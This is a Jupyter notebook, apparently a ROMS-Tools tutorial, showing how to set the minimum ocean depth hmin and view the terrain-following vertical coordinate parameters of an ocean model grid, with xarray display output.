"cell_type": "code", "execution_count": 14, "id": "843b375a-71b4-4bba-8786-57b44600d5af", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1.72 s, sys: 212 ms, total: 1.93 s\n", "Wall time: 2.7 s\n" ] } ], "source": [ "%time yet_the_same_grid = Grid.from_yaml(yaml_filepath)" ] }, { "cell_type": "markdown", "id": "84b2d78e-603a-49a4-841e-a3f5d0986bca", "metadata": {}, "source": [ "## Changing the minimal ocean depth `hmin`\n", "\n", "We need to make sure that tidal excursion does not exceed the water depth at runtime. Since ROMS currently has no wetting / drying, the model will crash if the water level goes negative. The minimum ocean depth `hmin` should therefore be set to a stricly positive value. The default for `hmin` is 5 meters. In the above example, we did not specify the (optional) `hmin` parameter, so it was set to the default value." ] }, { "cell_type": "code", "execution_count": 15, "id": "46e12e03-f619-4ce8-9cba-0bc33ce2f029", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/plain": [ "5.0" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid.hmin" ] }, { "cell_type": "markdown", "id": "df0202f0-9f16-4d24-9677-9b52c13beba2", "metadata": {}, "source": [ "Let's confirm that the minimum ocean depth is indeed at least 5 meters." ] }, { "cell_type": "code", "execution_count": 16, "id": "76c9e0d4-3e78-4dd5-a677-4c9b6901738a", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 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!important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;h&#x27; ()&gt; Size: 8B\n", "array(5.)</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'h'</div></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-f21557a6-23da-41e4-a15c-a492028c120f' class='xr-array-in' type='checkbox' checked><label for='section-f21557a6-23da-41e4-a15c-a492028c120f' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>5.0</span></div><div class='xr-array-data'><pre>array(5.)</pre></div></div></li><li class='xr-section-item'><input id='section-98684369-d5d9-4d30-bf04-bb4392d23cf3' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-98684369-d5d9-4d30-bf04-bb4392d23cf3' class='xr-section-summary' title='Expand/collapse section'>Coordinates: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-2b3bec63-f140-413c-97b0-e6f09dfcca5f' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-2b3bec63-f140-413c-97b0-e6f09dfcca5f' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-ca3525bd-f374-4a65-8e25-21f0799d4f6a' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-ca3525bd-f374-4a65-8e25-21f0799d4f6a' class='xr-section-summary' title='Expand/collapse section'>Attributes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'h' ()> Size: 8B\n", "array(5.)" ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid.ds[\"h\"].min()" ] }, { "cell_type": "markdown", "id": "ad9802f8-e304-41f2-9eb4-e568be4d52b8", "metadata": {}, "source": [ "We can define a grid with a different `hmin`." ] }, { "cell_type": "code", "execution_count": 17, "id": "c784bdfe-ccb1-4e36-b86f-948319df2943", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1.44 s, sys: 171 ms, total: 1.62 s\n", "Wall time: 2.17 s\n" ] } ], "source": [ "%%time\n", "\n", "grid_with_larger_hmin = Grid(\n", " nx=100,\n", " ny=100,\n", " size_x=1800,\n", " size_y=2400,\n", " center_lon=-10,\n", " center_lat=61,\n", " rot=20,\n", " hmin=10.0, # Minimum ocean depth in meters (default: 5.0)\n", ")" ] }, { "cell_type": "code", "execution_count": 18, "id": "4d32f33b-9b4a-4d0f-829f-c48e034fc4e7", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol id=\"icon-file-text2\" viewBox=\"0 0 32 32\">\n", "<path d=\"M28.681 7.159c-0.694-0.947-1.662-2.053-2.724-3.116s-2.169-2.030-3.116-2.724c-1.612-1.182-2.393-1.319-2.841-1.319h-15.5c-1.378 0-2.5 1.121-2.5 2.5v27c0 1.378 1.122 2.5 2.5 2.5h23c1.378 0 2.5-1.122 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var(--xr-font-color2);\n", "}\n", "\n", ".xr-section-item input:focus + label {\n", " border: 2px solid var(--xr-font-color0);\n", "}\n", "\n", ".xr-section-item input:enabled + label:hover {\n", " color: var(--xr-font-color0);\n", "}\n", "\n", ".xr-section-summary {\n", " grid-column: 1;\n", " color: var(--xr-font-color2);\n", " font-weight: 500;\n", "}\n", "\n", ".xr-section-summary > span {\n", " display: inline-block;\n", " padding-left: 0.5em;\n", "}\n", "\n", ".xr-section-summary-in:disabled + label {\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-section-summary-in + label:before {\n", " display: inline-block;\n", " content: '►';\n", " font-size: 11px;\n", " width: 15px;\n", " text-align: center;\n", "}\n", "\n", ".xr-section-summary-in:disabled + label:before {\n", " color: var(--xr-disabled-color);\n", "}\n", "\n", ".xr-section-summary-in:checked + label:before {\n", " content: '▼';\n", "}\n", "\n", ".xr-section-summary-in:checked + label > span {\n", " display: none;\n", "}\n", "\n", ".xr-section-summary,\n", ".xr-section-inline-details {\n", " padding-top: 4px;\n", " padding-bottom: 4px;\n", "}\n", "\n", ".xr-section-inline-details {\n", " grid-column: 2 / -1;\n", "}\n", "\n", ".xr-section-details {\n", " display: none;\n", " grid-column: 1 / -1;\n", " margin-bottom: 5px;\n", "}\n", "\n", ".xr-section-summary-in:checked ~ .xr-section-details {\n", " display: contents;\n", "}\n", "\n", ".xr-array-wrap {\n", " grid-column: 1 / -1;\n", " display: grid;\n", " grid-template-columns: 20px auto;\n", "}\n", "\n", ".xr-array-wrap > label {\n", " grid-column: 1;\n", " vertical-align: top;\n", "}\n", "\n", ".xr-preview {\n", " color: var(--xr-font-color3);\n", "}\n", "\n", ".xr-array-preview,\n", ".xr-array-data {\n", " padding: 0 5px !important;\n", " grid-column: 2;\n", "}\n", "\n", ".xr-array-data,\n", ".xr-array-in:checked ~ .xr-array-preview {\n", " display: none;\n", "}\n", "\n", ".xr-array-in:checked ~ .xr-array-data,\n", ".xr-array-preview {\n", " display: inline-block;\n", "}\n", "\n", ".xr-dim-list {\n", " display: inline-block !important;\n", " list-style: none;\n", " padding: 0 !important;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list li {\n", " display: inline-block;\n", " padding: 0;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list:before {\n", " content: '(';\n", "}\n", "\n", ".xr-dim-list:after {\n", " content: ')';\n", "}\n", "\n", ".xr-dim-list li:not(:last-child):after {\n", " content: ',';\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-has-index {\n", " font-weight: bold;\n", "}\n", "\n", ".xr-var-list,\n", ".xr-var-item {\n", " display: contents;\n", "}\n", "\n", ".xr-var-item > div,\n", ".xr-var-item label,\n", ".xr-var-item > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-even);\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-var-item > .xr-var-name:hover span {\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-var-list > li:nth-child(odd) > div,\n", ".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-odd);\n", "}\n", "\n", ".xr-var-name {\n", " grid-column: 1;\n", "}\n", "\n", ".xr-var-dims {\n", " grid-column: 2;\n", "}\n", "\n", ".xr-var-dtype {\n", " grid-column: 3;\n", " text-align: right;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-preview {\n", " grid-column: 4;\n", "}\n", "\n", ".xr-index-preview {\n", " grid-column: 2 / 5;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-name,\n", ".xr-var-dims,\n", ".xr-var-dtype,\n", ".xr-preview,\n", ".xr-attrs dt {\n", " white-space: nowrap;\n", " overflow: hidden;\n", " text-overflow: ellipsis;\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-var-name:hover,\n", ".xr-var-dims:hover,\n", ".xr-var-dtype:hover,\n", ".xr-attrs dt:hover {\n", " overflow: visible;\n", " width: auto;\n", " z-index: 1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;h&#x27; ()&gt; Size: 8B\n", "array(10.)</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'h'</div></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-a183f163-22c6-429b-bae9-fc3c921eef37' class='xr-array-in' type='checkbox' checked><label for='section-a183f163-22c6-429b-bae9-fc3c921eef37' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>10.0</span></div><div class='xr-array-data'><pre>array(10.)</pre></div></div></li><li class='xr-section-item'><input id='section-3c82a940-bd0e-48d6-9aac-8caf64bbcd01' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-3c82a940-bd0e-48d6-9aac-8caf64bbcd01' class='xr-section-summary' title='Expand/collapse section'>Coordinates: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-e637ff4b-50cb-40e3-9a9d-38490fe9f5fa' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-e637ff4b-50cb-40e3-9a9d-38490fe9f5fa' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-8f00767b-3c3a-471d-8733-fb0ca257f87a' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-8f00767b-3c3a-471d-8733-fb0ca257f87a' class='xr-section-summary' title='Expand/collapse section'>Attributes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'h' ()> Size: 8B\n", "array(10.)" ] }, "execution_count": 18, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid_with_larger_hmin.ds[\"h\"].min()" ] }, { "cell_type": "markdown", "id": "cc2cec83-8cc2-45b8-b4e9-a9ff9dbf6b6b", "metadata": {}, "source": [ "Alternatively, we could have just updated the topography of our original grid via the `.add_topography_and_mask` method." ] }, { "cell_type": "code", "execution_count": 19, "id": "3124af74-2a38-43cd-91bd-2a470261c400", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1.18 s, sys: 51.5 ms, total: 1.23 s\n", "Wall time: 1.78 s\n" ] } ], "source": [ "%time grid.update_topography_and_mask(hmin=10.0)" ] }, { "cell_type": "code", "execution_count": 20, "id": "6fb6c172-7431-45c4-ab61-9b107ac23dbe", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/plain": [ "10.0" ] }, "execution_count": 20, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid.hmin" ] }, { "cell_type": "code", "execution_count": 21, "id": "5cbc1dc2-cc81-4385-a43e-ac9250faaa6c", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 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width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;h&#x27; ()&gt; Size: 8B\n", "array(10.)</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'h'</div></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-01440e84-70d5-4f47-aa27-56a9b4852082' class='xr-array-in' type='checkbox' checked><label for='section-01440e84-70d5-4f47-aa27-56a9b4852082' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>10.0</span></div><div class='xr-array-data'><pre>array(10.)</pre></div></div></li><li class='xr-section-item'><input id='section-92d22752-a677-43e2-9cd8-2d7d198b7a50' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-92d22752-a677-43e2-9cd8-2d7d198b7a50' class='xr-section-summary' title='Expand/collapse section'>Coordinates: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-5f3dd60b-254c-4a76-a89a-a22d412932cc' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-5f3dd60b-254c-4a76-a89a-a22d412932cc' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-1f7950b4-4f0f-4d5c-bdaf-940be9f53e0b' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-1f7950b4-4f0f-4d5c-bdaf-940be9f53e0b' class='xr-section-summary' title='Expand/collapse section'>Attributes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'h' ()> Size: 8B\n", "array(10.)" ] }, "execution_count": 21, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid.ds[\"h\"].min()" ] }, { "cell_type": "markdown", "id": "2b5f600f-82d4-458d-903d-5aa897eef231", "metadata": {}, "source": [ "## Changing the vertical coordinate system\n", "\n", "ROMS uses a terrain-following vertical coordinate system. The vertical coordinate system is important for `ROMS-Tools` while creating input fields that have a depth dimension, such as the initial conditions or the boundary forcing.\n", "\n", "`ROMS-Tools` creates the vertical coordinate system as part of the grid generation, according to\n", "<cite data-cite=\"shchepetkin_correction_2009\">(Shchepetkin and McWilliams, 2009)</cite>, see also Figure 2 in\n", "<cite data-cite=\"lemarie_are_2012\">(Lemarié et al., 2012)</cite>.\n", "For this, it needs four additional parameters:\n", "\n", "* `N`: the number of vertical levels (default: 100)\n", "* `theta_s`: the surface control parameter (default: 5.0)\n", "* `theta_b`: the bottom control parameter (default: 2.0)\n", "* `hc`: the critical depth in meters (default: 300.0)\n", "\n", "In the above example, we did not specify any of these (optional) four parameters, so they were set to the default values." ] }, { "cell_type": "code", "execution_count": 22, "id": "3b821fe9-4ac3-4d6b-b556-5a5fa90f42e5", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "N: 100, theta_s: 5.0, theta_b: 2.0, hc: 300.0\n" ] } ], "source": [ "print(f\"N: {grid.N}, theta_s: {grid.theta_s}, theta_b: {grid.theta_b}, hc: {grid.hc}\")" ] }, { "cell_type": "markdown", "id": "279c3d33-eb63-480d-a711-48ec143765c8", "metadata": {}, "source": [ "We can plot the vertical coordinate system from different angles via the `.plot_vertical_coordinate` method. Let's start by looking at the depth of different layers and interfaces." ] }, { "cell_type": "code", "execution_count": 23, "id": "c0baf1e3-a922-4bd4-a944-141fd5b9412b", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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BwfTt25dPPvnE4vqOHDnC+vXrmT59eqtcj63nsLS0tNFr0LdvX8C6S9IeRqORM2fOWGwLCAggJCSk2WOdL9OnTyc/P59vvvnGtM1gMPDWW2/h4eHBmDFj7J7fWjF9APPnz2ffvn0Wwu/o0aNs3rzZVErHiRMnFydOS18H4+OPP7Za/+6BBx5g5syZrF69mjlz5jBjxgxOnjzJ+++/T3x8PJWVlY3OmTFjBp07d+a7775j2rRpBAQEWOy/8cYb+fbbb7nzzjvZsmULI0aMwGg0kpqayrfffsu6desYOHBgs6/B39+fRx55hBdeeIGZM2cyffp0Dh48yO+//25hEQN49NFH+fnnn5k5c6apbEdVVRWHDx9m1apVZGRkWJwTExPDyJEjueuuu6ipqeH111+nc+fOFu7hAQMGAHD//fczZcoUq4K3JcycOZNnn32Wm2++meHDh3P48GG++OKLRvFf0dHReHt78/7779OpUyfc3d0ZMmSIwzGRLeHxxx/nq6++Ytq0adx///34+vryySefcPLkSb7//vtGsWK2cOT5feWVV5g2bRrDhg3j1ltvNZVs8fLyarX2d3379kWhUPDSSy9x5swZNBoN48eP58svv+Tdd99lzpw5REdHU1FRwX/+8x88PT0tBOeiRYtM12+rhExFRQVhYWHMnz+fPn364OHhwcaNG9m3b59D4qg1uf322/nggw9YtGgR+/fvJzIyklWrVpks9E1Z11orpg/qSs/85z//YcaMGTzyyCOoVCpWrFhBYGAg//znP1tlDidOnLQT7Zc47MSc+rIPtn6ysrJkSZLkZcuWyREREbJGo5H79esn//rrr/LChQvliIgIq+PefffdMiB/+eWXVvfr9Xr5pZdekhMSEmSNRiP7+PjIAwYMkJcuXSqfOXPGdBzQrNIWRqNRXrp0qRwcHCy7urrKY8eOlY8cOSJHRERYlGyR5brSIk888YQcExMjq9Vq2c/PTx4+fLj86quvynq9XpblcyVFXnnlFXn58uVyeHi4rNFo5FGjRsmJiYkW4xkMBvm+++6T/f39ZUEQTOVbzMdoCCAvXrzY7jXpdDr5n//8p+maRowYIe/evVseM2ZMo1IYP/30kxwfHy8rlcomy7fUl2w5ffp0o30RERHyjBkzGm23NueJEyfk+fPny97e3rKLi4s8ePBg+ddff7V7TfU05/mVZVneuHGjPGLECNnV1VX29PSUr7jiCjk5OdniGFslWxy9nv/85z9y165dZYVCYSrfcuDAAXnBggVyly5dZI1GIwcEBMgzZ86U//rrL4tz582bJ7u6usqlpaU2r7mmpkZ+9NFH5T59+sidOnWS3d3d5T59+sjvvvtu00+Yleu0VkZmzJgxckJCQqPt1v5mCwoK5Jtvvln28/OT1Wq13KtXL4fL/rQ2WVlZ8vz582VPT0/Zw8NDnjlzppyWltYua3HixEnrIchyK0YTO+lwPPTQQ3z00Ufk5+fj5ubW3stpMRkZGURFRfHKK6/wyCOPtPdyLjkutec3MDCQm266iVdeeaW9l+LEiRMnHQZnTN8ljE6n4/PPP2fevHkXteBz4qQ5JCUlodVq+de//tXeS3HixImTDoUzpu8SpLCwkI0bN7Jq1SqKi4ubbOHkxMmlREJCAuXl5ec9jlarbZTo0RBfX19TwXQnTpw46eg4Rd8lSHJyMtdffz0BAQG8+eabpuxGJ06cOM4333zDzTffbPeYLVu2MHbs2AuzICdOnDg5T5wxfU6cOHFihby8PJKSkuweM2DAgEZdZpw4ceKko+IUfU6cOHHixIkTJ5cBzkQOJ06cOHHixImTywCHY/p0Op1Fo3YnTpw4ceLESeuiVqtxcXFp72W0ChdSN1xKz1tb4pDo0+l0REVFkZ+f39brceLEiRMnTi5bgoKCOHny5EUvYHQ6Ha7uPiDpLsh8l8rz1tY4JPr0ej35+flkZWXh6enZ1mu6IBw7doyioiKGDRvWZHP3S5l9+/bh7e1Nt27dWjzGW2+9xZ49e/jkk09M/YEdYeXKleTk5HDs2DE6d+7Mk08+iZ+fHw8//DD333+/zfZZLWHJkiXMmDEDURTx9vYmOjq61cbuaJw+fZqkpKRLPqt0x44dxMTEEBwc3CrjTfplN6LRyGcP3oRfabHt2JfQUDh8GJrxXm8NkpOTqampoV+/fhd03o5Gbm4uSUlJjBs3DqWyYxag+PPPP9m8eTPu7u5MmjTJ1CLv6quv5ttvv0WSJBYsWGDqtfzxxx/j7e3NxIkTCQ8PR6/XX/TiRa/Xg6RDEzwLRFXbTibVkp/38yXxvLU1zfqL8fT0vCREn06nIz8/n+HDh+Pl5dXey2k3ampqqKqqYujQoaYG9y1h/PjxPP300zz22GO8//77Dgm//Px8IiMj+fXXX1m/fr3FvsmTJ7N//3569+7d4jU1JCkpiRdffJEdO3YQEhJySbyPbaHT6XB3d7+krxEgODgYWZbP6zqHfr/T9LvSzZ1Bf+8lprTY/kk5OZCYCBdYVMfFxbFjxw7c3Nw6rNi5EHTq1InCwkIKCwuJjY1t7+Xw2muvcebMGeLi4ujRowd9+vThlVde4dlnn6WyspInn3ySzZs3A6BUKk3v127duvHYY4/x3nvvcdNNN3H77bczd+7c9ryUNkFQaBDaWPTJgjM9wVEuy2fq6NGjBAQE4Ovr295LaVdyc3Px9vY+L8EHMGzYMD777DM+/fRTZs2aRUZGhs1jf/vtN2bPns0jjzzCqVOneO211xodM3bsWH7++efzWpM5Bw8eJD4+HoVCQVVVVZPN6y92BEHgckjK9/LyarJ4sjUGf7fT9AOALJNwLImHP1zBspeecmyQvLxmz3u+eHl54e7uTm5u7gWfuyMhCAI9e/bk+PHjaLXa9l4Ov//+OxMnTqS2tpbPPvuMKVOmcOLECQYNGsSkSZMsuiG5urpSXV0NwJtvvklQUBA//PADvr6+VFRUXBZ/t07al8vu62JFRQWnTp265F1fjpCdnU1YWFirjHX99dcjiiJvvfUW99xzD7fffjtXXnmlaX9tbS133XUXnp6ezJ8/n6ysLGpqatiyZQt5eXmMGTMGlaru22BAQAC9evXim2++4Zprrjnvta1cuZJbb72VyspKRFHE1dX1vMd00v54enqSnp7u0LEDv95h+l1U1IVzBBQVMGPHOqZtW0dk7qnmTd5KLuXmEh4eTnZ2Nl26dGmX+TsKvr6+BAUFkZKSQv/+/dt1LS4uLowcOZKRI0dyww03IEkS5eXlJmusKJ6zrXTr1o3jx4+bvBiPP/44M2fO5IorrkCpVF6SoUYCAkKb25cuveetrbjsLH3Jycl06dLlkrf2NEV1dTWlpaWEhoa26PzCwkI2bNjAzp07qaysBGDBggV07dqVF154gQ8//JD9+/dTUVFBbm4u1113HWPHjuXIkSOUlZUxevRoBg4cSPfu3fnrr7+44ooruPXWW9m+fTuyLPPUU0/x0UcfkXeeFhVZlklJSaF3795UVFTg6el5Sd5YzblcLH2enp5UV1dTW1trdf+Ar3aYfupx1VUzfdta3v73g/x8z1Xc9dV/iMw9hU6tYe2oSTz81CsUdvZHsjWpIEB4OIwa1foX5AChoaEUFRV1CAtXexMXF0dubi5lZWXtuo6Gf2v1ccPWCAsLIycnx/TYxcWFK664goceeogBAwa05TKdOAEuM0tfcXExp0+fZuLEie29lHYnOzsbf39/NBpNi86fPXs211xzDRs2bCAzM5Phw4fj5uaGj48P8fHxvPnmm6xYsYLU1FROnjzJsGHD+OKLL3jssccaPf+TJ0/m8ccf5+TJkyxevJjKykqmT5/Oa6+9xr333st3331n8W25ORw5coRevXoBUF5efsnHuV1OaDQaXFxcKC8vp3PnzgD0//KcwKvX9oIkMTDlIDN2rGPCnm241ZwTTPvj+/L7mKlsHjaWare6MIfXb32A519+CgnLb8UygCwjvP76BU/iqMfV1RU/Pz+ys7PPK/nqUsDd3Z2oqCiSkpIYPnx4u3yZKysra/KeYi4KfXx8KC0ttdh/9913k5CQwI8//tgWS2x3BEFEaOuYO2dMn8NcNqJPlmWSkpLo1q2bM7sHyMnJISYmpsXn+/v7k5iYSLdu3fD392fPnj0IgkBQUBDz5s3Dzc2NiooKIiIimDp1KvHx8fTq1cuuWyoqKopXX32Ve++9l+nTp5OQkMD06dN55JFHWL58ud2bemJiIrt370aSJCIjI4mMjKRLly6sXLmSGTNmAHWufT8/vxZf88XC5WLpgzpr3xObDrC3tu5vWjR7i0TknmLGjnXM2LmOoOJC0/aswFB+GzOVtaMnkxsQUnee2WfGtqFj+L/HnuOBj94gsPi0abtRoeCZh5ewrJ2D7cPDw0lLSyMmJuaSt1o3Rffu3dm4cSMFBQUEBQVd8PkrKyvR6XQYjUabCWzu7u5UVlbi4eGBt7d3o5AElUrFsWPHgLovpk6ctCWXjejLy8ujurr6ki7V4Sjl5eVUVVWd103yzTffJCcnh+HDhwN12bg6ne68y6wEBAQQERHBl19+yXXXXcett97KG2+8wXXXXcdrr73WaM379u1j2bJlhIeHM2nSJJRKJRkZGWzbto2MjAwGDx5sit8sLy8nKirqvNbnpGPQ94s6i95EdTWB4jmB61lZzuQ/N3PF9rX0OpFs2l7h5sGGYeP4bdRUErv3BEEwxfZZY9vQMewYNJI+KYcIzc/mnx+sQG00kBcQzOhfdrH9ihFtd3FNEBwcTGJiImfOnLHpRrxcUKlU9OjRg6SkJAICAlrsEWgpYWFhTJw4kUmTJjF//nzuvvtuq8ecOnWK+Ph4fHx82t0dfaFxWvo6FpeF6JMkieTkZGJjYy/rUgf1ZGdnExQUZEqcaAkRERFERESYHrfmt+wXX3yR+fPn06dPHxISEnjggQcYO3YsN910E9dffz033XQT5eXlPP7440iSxDvvvENISIjdMQ0GA9XV1ZeFe/dStvT1+bxO7NUbuPIlBcOVWkYf2MUVO9Yy5uAfqA11MX4GUcGfvQfx6+ipbO8/ghq1huYYxiSFgoM9+3GwZz+GHPqL8Ts3M2P7Wt7s0b5lQpRKJSEhIWRlZV32og8gMjKSkydPkpmZ2aZf6ioqKkhMTGTkyJEW2++66y6GDh3KRx99ZPW84cOHs337dpPoa+jedeLkQnJZyOPMzEwEQbjsM96gzs2dnZ3d4gSOC4FCoeCtt97iscceMwWs9+nThzVr1lBQUMCkSZOYPXs21157LR988EGTgg/qbtgqlarFMYxO2pc+n+8wCT4AZJnYk0eZ/uPXhBu1vPH6/zFp3zbUhlqOdYlm+fX3MO2tVTzw2MtsGDqeGrXjr7tRAoVSsPhZO34aABO3bURhMLT25TWb8PBwcnJykCSbKSeXDaIokpCQQGpqqs2kntbghRde4OabbyY5OZnTp08TGxvLxIkTefzxxzl9+jQ+Pj5Wz5s8eTLff/89sizj7e3tFH1O2pVL3uxVW1vL0aNH6dOnzwU3/XdESktLMRgMBAYGtsv8siyTnJyMt7e3XeEZFhbG/fffz8yZM3nhhRcYPHgwSqWSxx57jEcffRSgWfFMl0vmbj2XgqXPQuSdxa+siOm7NjBr51q6ZZ9EEkV+mzuF7JgebO3ai19GTeV45LlYVUdfbUkCe98H9vUbRLG3L53LShi6/0+YM6aZV9O6+Pn5IQgCp0+fbre/5Y5EYGAgnp6eHDt2jISEhFYf32Aw8Oeff7Js2TL++OMPZsyYQb9+/fjiiy/Ytm0bK1eupKamxuq5Hh4eTJw4kZ9++onp06dTWFho9bhLFUEQ2v6+e5nc11uDS170nThxAnd393YJ8u2IZGdnExIScsEFcE1NDf/6179ISUkhISGBP//8k88//5yuXbvaPGfKlClERUXx9ttvM3jwYNP2ltxAysvLL5syPRezsLUm9DT6Gsbt38EVO9cx7PA+FH